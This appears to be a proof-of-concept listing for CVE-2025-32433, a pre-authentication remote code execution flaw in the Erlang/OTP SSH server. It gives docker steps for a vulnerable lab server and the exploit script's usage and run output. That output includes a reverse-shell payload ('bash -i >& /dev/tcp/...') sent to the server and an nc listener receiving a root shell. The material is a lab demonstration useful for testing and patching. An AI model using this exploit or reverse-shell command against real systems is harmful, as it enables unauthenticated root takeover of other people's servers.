CVE-2025-32433 PoC — Erlang/OTP SSH Vulnerable to Pre-Authentication RCE

Source

https://github.com/0xPThree/cve-2025-32433

Associated Vulnerability

Title:Erlang/OTP SSH Vulnerable to Pre-Authentication RCE (CVE-2025-32433)
Description:Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials. This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.

Readme

## Build
```bash
» git clone https://github.com/0xPThree/cve-2025-32433.git && cd cve-2025-32433
» docker build -t erlang-ssh .
» docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
```

---

## POC

```bash
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -h
usage: cve-2025-32433.py [-h] [-d] [--host HOST] [--port PORT]

Exploit for CVE-2025-32433 (Erlang OTP SSH server).

options:
  -h, --help           show this help message and exit
  -d, --debug          Print raw response in hex format
  -t, --target TARGET  Target host (default: 127.0.0.1)
  -p, --port PORT      Target port (default: 2222)
  
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -t 127.0.0.1 -p 2222
[*] Connecting to SSH server...
[✓] Banner: SSH-2.0-Erlang/5.1.4.7
[*] Sending KEXINIT...
[*] Opening channel...
[?] Shell command: bash -i >& /dev/tcp/172.17.0.1/4488 0>&1
[*] Sending CHANNEL_REQUEST...
[✓] Payload sent.
```

```bash
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » nc -lvnp 4488
listening on [any] 4488 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 58338

root@cf0f300797ea:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
cf0f300797ea
```

## Additional information
https://0xpthree.gitbook.io/notes/exploits-pocs/erlang/otp-ssh-cve-2025-32433

File Snapshot


 [4.0K]  /data/pocs/04a2b9c73ef6af2d7cf63af6ea225cb10fb6fe7d
├── [3.8K]  cve-2025-32433.py
├── [ 886]  Dockerfile
├── [1.3K]  README.md
└── [ 589]  ssh_server.erl

0 directories, 4 files

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